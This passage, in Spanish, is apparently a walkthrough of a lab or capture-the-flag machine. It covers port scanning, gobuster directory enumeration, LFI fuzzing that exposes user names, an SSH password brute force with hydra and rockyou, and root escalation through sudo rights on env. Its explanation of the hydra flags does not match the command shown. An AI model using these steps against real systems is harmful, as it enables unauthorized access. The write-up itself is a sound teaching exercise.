-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 22 SSH y el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
-u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
-w Especifica que diccionario queremos usar
-x Para indicar que tipo de extension queremos que nos encuentre

Gobuster ha encontrado un /wordpress

Si miramos el código fuente de la pagina vemos un comentario

Hacemos otro reconocimiento con gobuster y encuentra únicamente un index.php

Lo que se me ocurre es hacer fuzzing a palabras que puedan ser explotadas a un LFI.

Encontramos la palabra love vamos a probar.

Funciona, ahora tenemos dos posibles usuarios pedro y rosa, vamos hacer un ataque de fuerza bruta a estos usuarios al protocolo SSH con hydra

Ataque de fuerza bruta SSH

hydra -l pedro -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2.
-h ⮞ dirección IP de la máquina victima
-u ⮞ nombre del posible usuario
-P ⮞ ruta del rockyou.

Como ya tenemos una contraseña vamos acceder a la maquina vía SSH.

Escalada de privilegios

Si hacemos un sudo -l vemos que tenemos los binarios ls y cat que los podemos ejecutar como cualquier usuario

Si miramos en el interior de la carpeta root encontramos lo siguiente

Es en exadecimal lo que vamos hacer es decodificarlo

Tenemos una contraseña vamos a probar de acceder con esta contraseña con el usuario root o pedro.

Ahora con el usuario pedro vamos a buscar algo para poder escalar a root.

Tenemos el binario env para escalar privilegios a root haremos lo siguiente

Ya somos ROOT